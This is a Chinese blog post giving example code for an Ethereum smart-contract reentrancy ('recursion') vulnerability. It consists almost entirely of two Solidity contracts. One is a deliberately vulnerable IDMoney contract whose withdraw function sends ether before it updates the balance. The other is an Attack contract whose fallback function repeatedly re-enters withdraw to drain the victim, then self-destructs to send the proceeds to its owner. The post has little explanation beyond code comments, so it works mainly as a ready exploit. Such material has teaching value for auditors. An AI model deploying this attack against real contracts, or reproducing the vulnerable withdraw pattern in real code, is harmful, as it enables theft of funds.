地狱怪客

ETH智能合约递归漏洞示例代码

contract Attack{
address owner;
address victim;

modifier ownerOnly { require(owner == msg.sender); _; }

function Attack() payable{
owner = msg.sender;
}

// 设置已部署的 IDMoney 合约实例地址
function setvictim(address target) ownerOnly{
victim = target;
}

function balanceOf() returns (uint256) {
return this.balance;
}

function step1(uint256 amount) ownerOnly payable{
if(this.balance > amount){
victim.call.value(amount)(bytes4(keccak256(“deposit()”)));
}
}

function step2(uint256 amount) ownerOnly {
victim.call(bytes4(keccak256(“withdraw(address,uint256)”)), this, amount);
}

function ATM() ownerOnly {
selfdestruct(owner);
}

function startAttack(uint256 amount) ownerOnly{
step1(amount);
step2(amount / 2);
}

function() payable {
if (msg.sender == victim){
// 再次尝试调用 IDCoin 的 sendCoin 函数,递归转币
victim.call(bytes4(keccak256(“withdraw(address,uint256)”)), this, msg.value);

}
}

}

contract IDMoney {
address owner;
mapping (address => uint256) balances;

event withdrawLog(address, uint256);
event balancelog(string, uint256);

function IDMoney() {
owner = msg.sender;
}

function deposit() payable {
balances[msg.sender] += msg.value;
}

function withdraw(address to, uint256 amount) {
require(balances[msg.sender] > amount);
require(this.balance > amount);

withdrawLog(to, amount);
to.call.value(amount)();
balances[msg.sender] -= amount;
}

function balanceOf() returns (uint256) {
balancelog(“[当前合约余额]”, this.balance);
return balances[msg.sender];
}

function balanceOf(address addr) returns (uint256) {
return balances[addr];
}

function ATM() {
selfdestruct(owner);
}

}

码字很辛苦,转载请注明来自人生在世《ETH智能合约递归漏洞示例代码》

评论